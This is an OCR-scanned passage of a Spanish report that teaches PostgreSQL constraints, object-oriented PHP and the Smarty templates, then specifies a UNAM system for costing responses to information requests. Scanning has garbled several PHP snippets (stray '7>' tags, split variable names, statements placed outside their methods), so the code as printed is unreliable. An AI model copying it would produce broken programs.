UNIQUE Impide que el valor del campo se repita en otro
registro.

CHECK (condicion) Permite indicar diferentes condiciones con respecto a
los otros campos y/o valores.

70



Informe del proyecto de desarrollo de un sistema de costeo de atencion de solicitudes de informacién utilizando software libre.

PRIMARY KEY Indica que el campo es llave primaria y por lo tanto no
puede repetirse el valor del campo en otro registro y
no puede ser un valor nulo.

REFERENCES tabla (campo) Indica una referencia (llave fordnea) hacia un campo
de otra tabla.

Un ejemplo de la utilizacion de los constraints podria ser el siguiente:

CREATE TABLE mitabla (id integer PRIMARY KEY precio numeric CONSTRAINT
mayor_a_cero NOT NULL CHECK (precio > 0));

1.8.2. PROGRAMACION ORIENTADA A OBJETOS CON PHP

Es una filosofia de programacién que se fundamenta en modelar la realidad por medio de objetos que
interaccionan entre ellos.

Ventajas de la programacion orientada a objetos (POO)

Existen muchas ventajas en la utilizacién de esta forma de programar, entre ellas destacan:

e Permite agregar funcionalidad al c6digo sin incrementar en la misma proporcién la complejidad.
e Los programas no son solo lineas que se ejecutan unas tras otras.

e Permite identificar entidades que conviven en un sistema dado.

e La herencia permite la reutilizacién de cédigo

La POO tiene caracteristicas que hacen que su uso se incremente y son:

e Abstraccién. Es reconocer similitudes entre diversos objetos, situaciones o procesos relevantes del mundo
real.

e  Encapsulamiento. Consiste en almacenar en un mismo sitio varios elementos que conforman la estructura
de un programa y por lo tanto su funcionamiento.

e Modularidad. Consiste en separar un problema en varias partes para reducir su complejidad y poder
resolverlo mas facilmente. Se basa en la misma filosofia que el dicho “Divide y venceras”.

e Jerarquia. Permite acceder mas facilmente a la informacién ya que define una estructura que clasifica a
los objetos.

Elementos de la POO

e Clase. Basicamente es una plantilla sobre la cual se van a crear los objetos, es una coleccién de datos y
métodos que acttian sobre esos datos.

En cuanto a la programacién de una clase en PHP su estructura bésica es la siguiente:
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<?
class nombre_Clase

{

Definicion de la Clase (datos y métodos)

}

?>

En su totalidad la definicién de una clase se debe hacer dentro de un mismo bloque de cédigo
PHP.

Objeto. Es la implementacion de una clase, es una variable que toma el tipo de la clase. Un objeto en POO
busca representar un objeto fisico del mundo real junto con sus caracteristicas.

Un objeto contiene atributos que son las caracteristicas del objeto fisico que busca representar. Por
ejemplo la variable “Color” de una clase “Auto” seria un atributo de un objeto creado a partir de esta
clase:

<?
class Auto €<Nombre de la clase
{
var $Color = "Rojo"; //Atributo de un objeto
}

$ODbj_de_Auto = new Auto(); //Creacion de un objeto de la clase “Auto” llamado *Obj_de_Auto”
print $Obj_de_Auto->Color; //Impresion en pantalla del atributo “Color”
7>

Un objeto también contiene métodos que son las acciones que puede realizar el objeto fisico que
busca representar. Por ejemplo la clase “Auto” podria contener los métodos “avanzar” y “retroceder”, y a
su vez estos métodos son pasados al objeto al momento de ser creado:

<?
class Auto

{

function avanzar () //Nombre del método

{
)
function retroceder ()

{
}

print "Automovil avanzando"; //Contenido del método

print "Automovil en reversa";

}

$ Obj_de_Auto = new Auto;

$ Obj_de_Auto->avanzar(); //Llamado del método
$ Obj_de_Auto->retroceder();

7>

Se le llama firma de un método al encabezado de la declaraciéon de un método. Esta compuesta
basicamente de tres elementos:

72



Informe del proyecto de desarrollo de un sistema de costeo de atencion de solicitudes de informacién utilizando software libre.

e Tipo de acceso
¢ Nombre del método
e Parametros pasados al método

Una variable de un método puede llamarse igual que un atributo de la clase a la que pertenece.
Para hacer referencia a esta variable dentro del mismo método sélo se tiene que nombrar la variable de
forma normal: $variable, pero si se quiere hacer referencia al Atributo que tiene el mismo nombre se
debera nombrar como se muestra a continuacion:

<?
class nombre_Clase

{

var $variable; //Atributo de la clase llamado “variable”

function nombre_Metodo($variable)

{
print $variable; //Hace referencia a la variable del método llamada “variable”
print $this->variable; //Hace referencia al atributo de la clase llamado “variable”

7>

e Constructores. Es el principal de todos los métodos de una clase. Las principales funciones de un
constructor son:

. Inicializar los atributos de una clase.
. Reservar la memoria necesaria para mantener el objeto.

El constructor se crea igual que cualquier otro método s6lo que su nombre siempre sera
__construct” (doble guién bajo) para PHP 5 y el mismo nombre de la clase para PHP 4 y anteriores. Para
conservar la compatibilidad PHP 5 busca un constructor llamado “__construct” primeramente y en caso
de no encontrarlo busca un método llamado igual que la clase para tomarlo como el constructor.

“

Herencia

La herencia es una propiedad muy importante en la programacién orientada a objetos, entre sus
caracteristicas estan:

e Lasnuevas clases se construyen a partir de las ya existentes.

e Permite el paso de variables, métodos y constructores.

e Permite la reutilizaciéon de cédigo.

e Permite la especializacién de objetos.

e Existen basicamente dos tipos de herencia: la simple y la maltiple.

La herencia en PHP es de tipo simple, esto es que cualquier elemento sélo tiene tnicamente un elemento
padre del cual se desprende.

En PHP para indicar que una clase hereda de otra se utiliza la palabra “extends”. Por ejemplo para
indicar que una clase llamada “Cuadro” hereda de otra clase llamada “Figura” se pondria:
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<?
class Cuadro extends Figura

{
}

7>

Asi la clase “Cuadro” hereda los métodos, variables y constructor de la clase “Figura”, cualesquiera que
estos sean.

Sobreescritura de métodos utilizando la herencia

La sobreescritura de métodos es muy titil, sobre todo cuando se quiere reutilizar una clase. La sobre
escritura permite que al heredar de una clase, de ser necesario, cambiar un poco el funcionamiento de alguno de
sus métodos y respetar los demés. Esto se logra nombrando a un método de la clase que hereda igual que el
método de la clase heredada que se quiere modificar, asi al llamar al método, PHP buscard primero el método en
la clase que hereda y si lo encuentra ejecutara el c6digo modificado.

Referencia a métodos de la clase base

Al sobreponer o sobre escribir un método, se pierde el acceso directo a los métodos sobrepuestos de la
clase base, sin embargo es posible llamar directamente a un método de la super-clase como se muestra a
continuacion:
<?

parent::avanzar();
7>

Variables y métodos de clase

Al declarar un atributo de clase es posible hacer referencia al atributo sin necesidad de instanciar algin
objeto de la clase. Para crear un atributo o un método como estético o de clase se necesita anteponer a su nombre
la palabra “static”.

La variable $this no es posible utilizarla para acceder a atributos de clase, ni tampoco es posible incluirla
en un método definido como “static”.

Visibilidad

La visibilidad se refiere al nivel de proteccién que tiene un atributo o un objeto para acceder a él, a
continuacién se describen tres niveles de proteccion:
Public. Se puede tener acceso a ellos desde cualquier parte.

Protected. Se puede acceder a ellos desde la clase que los define y desde las clases hijas que heredan de esta clase.

Private. Solo se puede acceder a ellos desde la misma clase que los define.

74



Informe del proyecto de desarrollo de un sistema de costeo de atencion de solicitudes de informacién utilizando software libre.

Interfaces

Son tipos especificos de clases que buscan asegurar que la clase que las implemente integre como parte de
su definiciéon determinadas caracteristicas. Su declaracién es muy parecida a la de una clase pero sus métodos no
tienen contenido, sino que sélo se pone la firma del método. Las clases que la implementen deben tener un
nombre diferente al de las interfaces. Para crear una interfase se antepone al nombre de la interfase la palabra
“interface”, y para implementarla se utiliza la palabra “implements”.

En caso de que la clase que implementa la interfase no tenga alguno de los métodos solicitados por la
interfase se obtendra un error.

Excepciones

La utilizacién de excepciones en PHP s6lo esta disponible a partir de la versién 5, lo que buscan es tomar
en cuenta situaciones anormales que ocurran durante la ejecucién de un programa y actuar dependiendo de éL.

Se utilizan las palabras “try” y “catch” para capturar las excepciones y “throw” para lanzar una
excepcion.

1.8.3. TEMPLATES EN PHP

Un template es cé6digo HTML que sirve como plantilla para facilitar el proceso de edicién, eliminando el
cédigo PHP incrustado pero sin quitar la funcionalidad. Permite separar la capa de presentacién y disefio,
“archivos HTML”, de la capa de programacioén, “archivos PHP”.

Ventajas Desventajas
Los programadores no tienen que preocuparse por la Como programador la tarea de desarrollo es
presentacion porque esta en un archivo distinto. ligeramente méas complicada.

Como disefiador se minimiza el riesgo de que al modificar | Se requiere de un preproceso para generar el HTML
alguna imagen se pierda la funcionalidad por una final, lo cual consume tiempo de procesamiento.
modificacién incorrecta involuntaria.

Se puede redisenar el sitio, de forma mas sencilla sin Como disefiador se debe considerar atn algunas
modificar la funcionalidad. etiquetas y trabajar con frecuencia con archivos
fraccionados.

Motores de templates

Existen una gran variedad de motores de templates, “Engines”, entre ellos estan:

e Smarty e FastTemplate
e NokTemplate e PHP Savant
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Lo que hace un “PHP Template Engine” es muy sencillo, para hacer una pagina utilizando templates se debe
hacer lo siguiente:

1. Se disefia sobre un HTML convencional.

2. Se insertan “tags” particulares que representan las secciones dindmicas de un sitio.
3. El Engine busca los tags y los reemplaza por cédigo dinamico, definido previamente.
4. Se genera “al vuelo” el c6digo HTML que se mostrara.

Algunos “Engines” incorporan cache o buffers con el fin de evitar regenerar una pagina cada vez que se
solicita, la intencién es optimizar el desempefio.

NokTemplate

Es uno de los engines de templates en espafiol, mas populares. Es posible descargarlo de:
http:/ /www.jpw.com.ar/descargas.php

Caracteristicas:
e FA4cil de usar.
e Dispone de memoria Cache.

e La poca documentacién que existe esta en espariol.

Para utilizar este motor simplemente hay que incluir en el c6digo PHP la clase Class.NokTemplate.php y
crear un objeto de esta clase indicando la ubicacion de los templates que se van a utilizar.

Los templates utilizados por NokTemplate deberan estar ubicados en la ruta que se indica cuando se crea
el objeto de NokTemplate.

Smarty

Es uno de los engines de templates para PHP mas ampliamente utilizado. Es posible descargarlo de:
http:/ /smarty.php.net/ download.php

Entre sus caracteristicas estan:

e Dispone de memoria Cache.

e Tiene gran variedad de tags.

e Esta ampliamente documentado en varios idiomas incluyendo el Espafiol.
e Cuenta con soporte para Plug-ins.

e Enrealidad, es un pequefio pero potente lenguaje de “programacion”.

Ademas se debe incluir la clase “Smarty.class.php” en el c6digo PHP que va a utilizar el motor de
templates y agregar algunas lineas de c6digo para hacerlo funcionar.

Los templates que se utilizardn con Smarty deberdn estar ubicados dentro de la ruta indicada por
“template_dir” y se sugiere la extension “.tpl” para ellos.

Smarty también cuenta con etiquetas que se escriben en el template que lo hacen parecer un pequefio
lenguaje de programacion, cuenta con estructuras ciclicas como el if y el foreach para desplegar el contenido de
arreglos y/o establecer condiciones en el cédigo.
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1.8.4. PROYECTO FINAL DEL MODULO

Para el término del médulo se solicita un sitio de noticias que mostrara las noticias mas recientes en la
pantalla principal del sitio. Que clasificara las noticias por categorias y que contuviera validacion de usuarios por
contrasefia y login.

El sitio permitiria la adicién, edicién y borrado tanto de noticias como de categorias y usuarios, ademas
de permitir basquedas de ellos. Estas acciones no podrdn ser realizadas mdas que por un usuario que este
registrado en la base de datos. El manejador de base de datos seria PostgreSQL y la programacion serfa de tipo
orientada a objetos con lenguaje PHP. Ademas se utilizarfa el motor de templates "Smarty" para separar la parte
de disefio de la de programacién.

La pantalla principal del sitio se ve en la Fig. 1.8.4.1.

Illlsnagdeal com  t portal de informacién y buscador
bu

or con mies de diecciones. © 67€ 10 vas a perder...?

Hola: F J ales para reconstruccion de Cancim
: S ) e N

el presidents
Jnvitado

| Astologn
[ Ciemia
[Cuttes
Depottes
| Educacién
Espectaculos
| Finanzas
[ bgsics
| Pofiies
| Beligien
[ Bocieles
| Teenologia

Fig. 1.8.4.1
Pantalla principal.

Esta pantalla con los links mostrados en la parte izquierda permite elegir una categoria para ver los titulos
de las noticias dadas de alta con esa categoria (Fig. 1.8.4.11).
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Musica - - . 1= ..
BT E— + Microsoft se une a Yahoo en alianza por biblioteca digital

Religidn
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Teonologia

Fig. 1.8.4.11
Pantalla de titulos de una categoria.

En caso de ser més de siete los titulos existentes se mostrardn con la ayuda de un paginador disponible en
la parte inferior de la pantalla (Fig. 1.8.4.1I).

La pantalla principal también permite iniciar sesién en el sitio en caso de ser usuario registrado en la base
de datos dando clic en el link "login" que se encuentra en la parte superior izquierda (Fig. 1.8.4.1), de no ser un
usuario registrado asi no se podra agregar, modificar y/o borrar noticias, categorias o usuarios. La pantalla de
autentificacién quedé como se ve en la Fig. 1.8.4.11L

lUSCireal.com “Pa lomy e

TR
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Fig. 1.8.4.111
Pantalla de autentificacion de usuarios.
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Una vez autentificado como usuario se mostrara la pantalla principal (Fig. 1.8.4.1) mostrando el login del
usuario que se encuentra autentificado.

Dicha pantalla (Fig. 1.8.4.1V) permite ademds de agregar una noticia, acceder a la busqueda de ellas dando
clic en cualquiera de los links: "Editar", "Borrar" o "Buscar", ya que para realizar cualquier accién sobre una
determinada noticia primero habra que buscarla

Las busquedas se pueden hacer con respecto a cualquiera de los campos mostrados en la pagina, o si se
quiere también se pueden hacer biisquedas con respecto a dos o mas campos. En caso de dar clic en el botén
"Buscar" y no haber llenado algtin campo se mostraran todas las noticias existentes.

Una vez realizada una btisqueda es posible editar o borrar alguna de las noticias selecciondndola con su
botén radio correspondiente y dando clic en el botén que corresponde a la accion deseada. En caso de elegir el
botén "Editar" se mostrara una pédgina con los datos actuales de la noticia seleccionada permitiendo cambiarlos.

Para guardar los datos modificados en la base de datos sélo habra que oprimir el botén "Aceptar".

Finalmente para cerrar una sesién en cualquier momento se podra utilizar el link de la parte superior
izquierda de la pantalla: "Logout". Este link cerrara la sesién y mostrara la pantalla principal del sitio (Fig. 1.8.4.1)

en caso de no ser la que se este mostrando en ese momento.

El Diagrama Entidad-Relacién de la base de datos utilizada para este sistema se ve en la Fig. 1.8.4.1V.

noticia :

S— categoria .
(PK) id_noticia integer NN (PK) id_usuario integer NN
Titulo varchar(100) NN (PK) id_categoria integer NN Nombre varchar(100) NN
Imagen_portada varchar(100) nombre varchar(50) NN login varchar(50) NN
Texto_portada text NN password varchar(50) NN
fecha date
fuente varchar(100) NN
(FK) id_categoria integer NN

Fig. 1.8.4.1V
Diagrama Entidad-Relacion de la BD.
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II. PROYECTO DE DESARROLLO DE UN
SISTEMA DE COSTEO DE ATENCION DE
SOLICITUDES DE INFORMACION CON
SOFTWARE LIBRE.
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El proyecto podra ser utilizado en cualquier institucién que en base a los sueldos de sus empleados quiera
obtener una cifra econémica de lo que ciertos asuntos implican a la empresa o institucion.

2.1. JUSTIFICACION

Existe una ley que obliga a las instituciones y/o empresas a proporcionar datos a personas o instituciones
que los soliciten, por ejemplo a las televisoras, esta ley es la “Ley de transparencia”.

Por la ley antes mencionada se supone que a las instituciones les cuesta atender a todas las peticiones que
les llegan, ya que se necesita personal y tiempo para atender las solicitudes y entregar los datos solicitados a los
solicitantes. Es por eso que es necesario un control de cudntas solicitudes se tienen y a cuéntas se les ha atendido,
ademas de saber el costo parcial o final que cada atencién a una solicitud implica para la institucién.

Por los puntos anteriores es que resulta muy dtil la implantacién en la institucién o empresa de un
“Sistema de costeo de atencién de solicitudes de informacién”.

2.2. ELEMENTOS DEL PROYECTO
2.2.1. Software utilizado

El proyecto esta pensado para ser realizado en lenguaje de programacién PHP, por ser la més actual se
piensa en la version 5. Para la base de datos se utilizara el manejador "MySQL" por su sencillez y eficacia en el
manejo de bases de datos, ademads de que es uno de los manejadores de bases de datos mas populares en cuanto
al software libre se refiere.

El sistema correra sobre el servidor "Apache" por ser uno de los mejores hasta la fecha, se utilizara la
version 2 por ser la mas actual.
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2.2.2. Diagrama Entidad-Relacion de la base de datos

El diagrama Entidad-Relacién de la base de datos utilizada en el proyecto se ve en la Fig. 2.2.2.1.

tiene

AREA

are_idarea (PK)
are_clvacces
are_desc
are_rfc_respon

ASUNTO

. contiene es

asu_folio (PK) : S ado
genera asu_nombre seg_numofic (PK)
asu_solic Seg_;ies}f
asu_fechlim Seg_fecl'
asu_fechrec Py asu_folio
surge
asu_numref
asu_status
are_idarea
pertenece ®

es

INVOLUCRADO
inv_horas
inv_num

emp_rfc (PK) I
emp_rfc (PK) I seg_numofic (PK) realiza
emp_nombre €s
emp_suelxhora

pertenece | are_idarea
Fig. 2.2.2.1
Diagrama Entidad-Relacién de la BD.
2.2.3. Diccionario de datos de la base de datos
Nombre de la tabla: AREA
Descripcién: Areas que utilizaran la aplicacion.
. ..l Tipo de dato .
Atributo Descripcion (dominio) NN (Not Null) Ejemplo
Are_idarea Clave del area. NUMERICO(1) X 3
Clave de acceso
Are_clvacces del area CARACTER(6) X R2sGé6f
(password).
Nombre o Control de
Are_desc descripcién del | CARACTER(40) X .
) papeleria.
area.
RFC de la
persona ,
Are_rfc respon responsible del CARACTER(13) X GAJJC25101982
area.
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Nombre de la tabla: SEGUIMIENTO
Descripcion: Datos de un seguimiento de un asunto.

Atributo

Descripcion

Tipo de dato
(dominio)

NN (Not Null)

Ejemplo

Seg_numofic

Numero de oficio
del seguimiento.

CARACTER(20)

X

P25865484G

Seg_desc

Descripcion del
seguimiento.

CARACTER(300)

X

Planificaciéon de
las acciones a
realizar.

Seg_fech

Fecha en que se
hizo el
seguimiento.

FECHA(8)

03/02/09

Asu_folio

Folio del asunto
del que se esta
haciendo el
seguimiento.

NUMERICO(5)

00168

Nombre de la tabla: INVOLUCRADO

Descripcion: Datos de un involucrado de un seguimiento de un asunto.

Atributo

Descripcion

Tipo de dato
(dominio)

NN (Not Null)

Ejemplo

Inv_horas

Horas invertidas
por ese
involucrado en
un seguimiento.

NUMERICO(3)

Inv_num

Namero del
involucrado por
seguimiento.

NUMERICO(10)

Asu_folio

Folio del asunto
en el que esta
relacionado el
involucrado.

NUMERICO(5)

00022

emp_rfc

RFC del
involucrado.

CARACTER(13)

GAJJC25101982

Seg_numofic

Numero de oficio
del seguimiento
con el que esta
relacionado el
involucrado.

CARACTER(20)

236
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Nombre de la tabla: EMPLEADOS
Descripcion: Datos de los empleados.

Atributo

Descripcion

Tipo de dato

NN (Not Null)

Ejemplo

(dominio)
emp_rfc RFC del CARACTER(13) X GAJJC25101982
empleado.
emp_nombre Nombre del CARACTER(60) X Galén Juérez
empleado. Christian.
emp_suelxhora |Sueldo que gana
por hora el MONETARIO(8) X 200.50
empleado.
Are_idarea Ntmero del drea
alaque CARACTER(1) X 2
pertenece el
empleado.
Nombre de la tabla: ASUNTO
Descripcion: Datos de un asunto.
Atributo Descripcion ng((:nifn?;)t © NN (Not Null) Ejemplo
Asu_folio Folio del asunto. | NUMERICO(5) X 00006
Gasto en
Asu_nombre Nombre del CARACTER(300) X papeleria por
asunto.
cada mes.
. Nombre del que < Pérez Juarez
Asu_solic solicita el asunto. CARACTER(300) X Adolfo Luis
Fecha de
Asu_fechrec recepcion del FECHA(8) X 25/07/05
asunto.
Fecha limite de
Asu_fechlim resolucion del FECHA(8) X 25/08/05
asunto.
Ntmero de
Asu_numref referencia que | -\ p A CTER(20) X M25640p
identifica al
asunto.
Status en el que
Asu_status se encuentra el CARACTER(12) X Pendiente
asunto.
Clave del area a
Are_idarea la que pertenece |CARACTER(1) X 8

el asunto.
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2.2.4. Descripcion del "SISTEMA DE COSTEO DE ATENCION DE
SOLICITUDES DE INFORMACION"

Entrar al sistema

Para entrar al sistema se debera teclear el password del drea correspondiente. Si el password es valido se
mostrard la pantalla de opciones, de no ser asi se mostrara nuevamente la misma pantalla solicitando el password

(Fig. 2.2.4.1).

COSTEO DE SOLICITUDES DE INFORMACION

R |

Fig.2.24.1
Pantalla de autentificacion.

Pantalla de opciones

UNAM

y INICIO : salir
COSTED DE SOLICITUDES DE INFORMACION
AREA: Direccidn de Recursos Materiales
ASUNTO STATUS HORAS GASTO (%)
{* Primer asunta Pendienta &7 $6760
= Pargue Wehicular Pendients 7 $780
 Asunto Pendients 3 F320
{~  Asunto Importante Pendients 11 $1300
" sequndo asunto Pendiente o $0
| Anadir asunto | | Afadir sequimiento | | Editar asunto | | Ahadir involucrados | | Borrar asunto

Fig. 2.2.4.11
Pantalla de opciones.
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Esta pantalla mostrara todos los asuntos, el status, las horas gastadas hasta el momento de su seguimiento
y el gasto que ha provocado su tramite, ademéas de mostrar el drea que corresponde al password introducido.

Los links de los nombres de los asuntos permitirdn ver los seguimientos, el status y los involucrados de
dicho asunto.

Cada uno de los botones realizard una accion diferente segiin sea lo que el usuario quiera hacer. Para
realizar cualquier accién sobre algiin asunto debera seleccionarse primero el botén radio del asunto deseado, y
posteriormente presionar el botén de la operaciéon que se desee realizar, como por ejemplo afiadir un seguimiento,
editar asunto, afiadir involucrados 6 borrar asunto.

Anadir asunto

Por asunto se debera entender toda solicitud de informacién hecha a la empresa.

Para agregar o afiadir un asunto se deberd presionar el botén referente a ello ("Afadir asunto") de la
pantalla de opciones. Este boton mostrara un formulario (Fig. 2.2.4.1II) donde se pediran los datos referentes al
asunto a afiadir y destinard un ntiimero de folio al asunto.

UNAM

Losteo de Solicitud de Informacién

Area:Direccion de Recursos Materiales

FOLIO :00007

ASUNTO: | |

SOLICITANTE: [ |

MUMERO DE REFEREMCIA:| |

FECHA DE RECEFCION: [ | (dd/mm/aa)

FECHA LIMITE:[ | (dd/mm/aa)

Fig. 2.2.4.111
Pantalla de formulario para afiadir asunto.

En esta pagina se tendra la opcién de mandar los datos a la base de datos o de regresar a la pantalla de
opciones sin haber agregado algtin asunto. Antes de enviar los datos se debera haber llenado correctamente todos
los campos del formulario, de no ser asi la aplicacién informara los errores y tendran que modificarse. Una vez
enviados los datos la aplicacién regresara a la pantalla de opciones (Fig. 2.2.4.1I) para una nueva accion.

Afadir seguimiento

Por seguimiento se debera entender toda accién que se realice, por cualquier empleado, para atender
alguna solicitud de informacién hecha a la empresa.
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Para afadir un seguimiento sera necesario haber elegido previamente el asunto al que se le anadira dicho
seguimiento mediante el botén radio correspondiente de la pantalla de opciones (Fig. 2.2.4.1I) como ya se habia
mencionado, de no existir asuntos esta accién no se podré realizar. Una vez seleccionado el asunto deseado se
debera oprimir el botén correspondiente a esta acciéon (“Afadir seguimiento”) de la pantalla de opciones (Fig.
2.2.4.11) el cual mostrara una pagina (Fig. 2.2.4.IV) con los datos referentes al asunto elegido, los seguimientos
existentes del asunto y un formulario que solicitara los datos del seguimiento a afiadir.

Costeo de Solicitudes de Informacién

Area:Direccién de Recursos Materiales

FOLIO (00002

ASUNTO: Parque Wehicular
SOLICITANTE: Rafael Granados
FECHA DE RECEPCION:13/12/2012

STATUS: Pendienta

SEGUIMIENTD

|Fecha de Seguimientol Descripcion
[zar1z/2012 [cambio el zeguimianto por este
[z4712/2012 |sequimiznta Neo. 2

SEGUIMIENTO:

FECHA DE SEGUIMIENTG: [ | (ddfmm/as)
#oeoFicro ]

STATUS DEL ASUNTG: [ | (P=Pendiente, c=Cancluido)

Regresar

Fig.2.2.4.1V
Pantalla para afiadir seguimiento.

En esta pagina se tendra la opcién de regresar a la pantalla de opciones (Fig. 2.2.4.1I) en caso de que no se
quiera agregar ningun seguimiento con el botén "Regresar" y la opciéon de “Enviar” que mandara los datos del
seguimiento a la base de datos en caso de que éstos se hayan capturado correctamente, de no ser asi la aplicacion
indicara los errores y habra que corregirlos.

Anadir involucrados.

Para afiadir involucrados a algin seguimiento se debera utilizar el botén referente a ello, "Afadir
involucrados" de la pantalla de opciones (Fig. 2.2.4.1I). Cabe mencionar que un involucrado es relacionado con un
seguimiento y a su vez un seguimiento es relacionado con un asunto, por lo que no podra existir un involucrado
sin un seguimiento y éste no podra existir sin un asunto al cual se relacione.
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Esta pagina (Fig. 2.2.4.V) permitira agregar involucrados a un determinado asunto, solicitando el nimero
de oficio del seguimiento al que se quieran agregar involucrados, ya que un asunto podra tener varios
seguimientos con diferentes fechas, nombres, etc. Se mostrard una lista de todos los empleados dados de alta en la
base de datos junto con su RFC y su sueldo por hora, y permitird elegir uno o varios para incluirlos como

involucrados en el desarrollo de la atencién del asunto solicitando el tiempo en horas gastadas por cada
involucrado en darle seguimiento al asunto.

CLosteo de Solicitudes de Informacién

Area: Direccidn de Recursos Materiales

. FOLIO : 00004
PERSONAL INVOLUGRADC DEL MUMERO DE OFICIO: |12 =
REC NOMERE HORAS SUELDO X HORA
[T zn11195024 Harirn ] cam
[T 7azz45941 Juan ] 4120
Fig.2.2.4.V

Pantalla para agregar involucrados.

El botén "Enviar' mostrard una pagina (Fig. 2.2.4.VI) con datos como el nombre del asunto, las horas
agregadas y el gasto total que representan estas horas con respecto al sueldo de los empleados que las gastaron en

la atencion del asunto. También se podra regresar a la pantalla de opciones (Fig. 2.2.4.II) con el botén "Regresar"
en caso de no querer anadir involucrados.

COSTED SOLICITUDES DE INFORMACION

AREA: Direccién de Recursos Materiales

FOLIO : 00004

ASUNTO: Asunto Importante
GASTC EM HORAS: 2

IMPCRTE DEL GASTO: 220

Fig.2.2.4.VI
Pantalla de resumen de involucrados agregados.
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Editar asunto

Esta pagina (Fig. 2.2.4.VII) permitird modificar los datos de un asunto existente en la base de datos,
mostrara todos los datos introducidos anteriormente y permitird editarlos, el botén "Enviar" tendra la accion de
modificar la base de datos con los nuevos datos introducidos y el botén de "Regresar" mostrara la pantalla de
opciones sin causar cambios en los datos del asunto.

Costeo de Solicitud de Informiacidn

Area:Direccién de Recursos Materiales

FoLIC ;00001

ASUNTO: [Primer asunto ]

SOLICITANTE: [Israel Luna Resendiz |
MUMERO DE REFERENCIA:
FECHA DE RECEPCION: (dd/rmrmias)
FECHA LIMITE: {ddfrmmiaa)

sTaTUs: [P_| (P=Pendients, C=Cancluida)

Fig. 2.24.VII
Pantalla para editar asunto.

Borrar asunto

Para borrar un asunto primeramente debera existir alguno, de no ser asi el sistema lo indicara. Para borrar
un asunto se debera seleccionar primeramente el botén radio del asunto que se quiere borrar en la pantalla de
opciones (Fig. 2.2.4.11) y después pulsar el botén "Borrar asunto".

Al querer borrar un asunto se mostrard un mensaje (Fig. 2.2.4.VIIl) de confirmacién que permitira
continuar con la accién de borrado del asunto o ignorarla.

Microsoft Internek Ex x|

@ iBorrar el asunto?

Aceptar I Cancelar |

Fig. 2.2.4.VIII
Mensaje de confirmacién para borrar asunto.
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Ver la informaciéon de un asunto

En la pantalla de opciones (Fig. 2.2.4.1I), los links de los nombres de los asuntos permitiran acceder a la
pagina (Fig. 2.2.4.IX) que mostrara el status, los seguimientos y los involucrados del asunto, ademas de que
permitira editar los seguimientos e involucrados existentes en el asunto por medio de los botones "Editar
seguimientos" y "Editar involucrados". También se podra regresar a la pantalla de opciones (Fig. 2.2.4.1I) con el
botén "Regresar".

CLosteo de Solicitudes de Informacién

Area: Direccidn de Recursos Materiales

FOLIO: 0000z

ASUNTO: Parque Yehicular
STATUS: Pendiente
SOLICITANTE: Rafael Granados
FECHA DE RECEPCION:13/12/2012
FECHA LIMITE:13/12 /2012
HORAS INVERTIDAS: F

IMPORTE TOTAL GASTADC : $780

SEGUIMIENTOS
|N|f|mero de oficio |Fecha de Seguimiento | Descripcion
| 23423 | 231272012 |Cambio el seguimiento por este
Editar sequimientos
INVOLUCRADOS

|Empleado |Horas invertidas |Gasbn que representa

[Harim | 3 [ $300
[3uan [ 4 [ $480
Editar involucrados |
Fig. 2.2.4.1X

Pantalla de informacion.

Editar seguimiento

Al presionar el botén "Editar seguimiento" de la pantalla de informacién (Fig. 2.2.4.IX) de un asunto se
mostrara una pantalla (Fig. 2.2.4.X) con la lista de los seguimientos existentes en ese asunto junto con algunos de
sus datos, también cada seguimiento contara con un botén radio que permitira elegir el seguimiento que se quiera
modificar.
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SELECCIONA EL SEGUIMIENTO A ACTUALIZAR

| |N|f|mero de oficio |Fecha de Seguimiento | DescHpcion
| (- | 111 | 241272012 |Seguimient0 Mo, 2
| ) | 23423 | 23 1272012 |Cambio el seguirniento por este
.
Fig. 2.2.4.X

Pagina de listado de seguimientos.

En cuanto se elija el seguimiento que se quiera editar se mostrard una pantalla (Fig. 2.2.4.XI) con los datos
de dicho seguimiento que permitird que se modifiquen dichos datos y los actualizard en la base de datos cuando
se presione el botén "Enviar", este botéon mostrard la pantalla de opciones (Fig. 2.2.4.I) después de haber
modificado los datos en la base de datos. Se podra borrar el seguimiento con el botén "Borrar" si asi se desea.
También se contara con un botén "Regresar" que en caso de querer cambiar de seguimiento elegido mostrard la
pagina del listado de los seguimientos (Fig. 2.2.4.X) nuevamente.

SEGUIMIENTO A ACTUALIZAR

‘ ‘ Nimero de ‘ Fecha de Descripcidn
oficio sequimiento p
‘ P |111 ‘ |24.'"1 oz deguimiento No. 2 jl
Fig. 2.2.4.XI

Pagina para editar seguimiento.

Editar involucrados

Al presionar el botén "Editar involucrado" de la pantalla de informacion (Fig. 2.2.4.IX) de un asunto se
mostrard una pantalla (Fig. 2.2.4.XII) con la lista del personal involucrado existente en ese asunto junto con
algunos de sus datos, también cada involucrado contard con un botén radio que permitira elegir el involucrado
que se quiera modificar.
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SELECCIOMA EL INVOLUCRADD A ACTUALIZAR

NUMERDO DE
‘ ‘ RFC ‘ OFICIO ‘ EMPLEADD ‘HDRHS
| (] | 3011195034 | 4535345-234534 | Harirm | 2
| (] | FI2345941 | 4535345-234534 | Juan | 1
Fig. 2.2.4.XI1

Pagina de listado de involucrados.

En cuanto se eljja el involucrado que se quiera editar se mostrard una pantalla (Fig. 2.2.4.XIII) con los
datos de dicho involucrado que permitird modificar las horas que invirtié y las actualizard en la base de datos
cuando se presione el botén "Enviar", este botén mostrard la pantalla de opciones (Fig. 2.2.4.11) después de haber
modificado las horas en la base de datos. Se podra borrar el involucrado con el botén "Borrar" si asi se desea.
También se contara con un botén "Regresar"' que en caso de querer cambiar de involucrado elegido mostrara la
pégina del listado de los involucrados (Fig. 2.2.4.XII) nuevamente.

INWOLUCRADD A ACTUALIZAR

NUMERDO D E
OFICIO

‘ (Ol | 793345941 ‘ 23423 ‘ Juan ||1

‘ | RFC ‘ EMPLEAD O ‘HDRAS

Fig. 2.2.4.XIII
Pagina para editar involucrados.
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CONCLUSIONES

Entre el software libre existente en la actualidad hay herramientas que se encuentran al
nivel de herramientas privadas, pero las libres tienen una serie de ventajas que ayudan a que
en el ambito profesional se empiece a requerir cada vez mds personas que sean capaces de
manejarlo. Entre las ventajas estd que el cédigo de estas herramientas esta disponible para
todas las personas y pueden corregirlo y mejorarlo constantemente, ademas existe otra
importantisima ventaja que esta haciendo que las empresas volteen hacia este software y es
que no representa ningtin costo en cuanto a su adquisiciéon y derechos de uso se refiere. Por lo
anterior es evidente la utilidad que proporciona el diplomado descrito en este trabajo ya que
otorga multiples herramientas para desarrollarse en el &ambito profesional.

El Sistema Operativo Linux es una de las partes mas importantes cuando se habla de
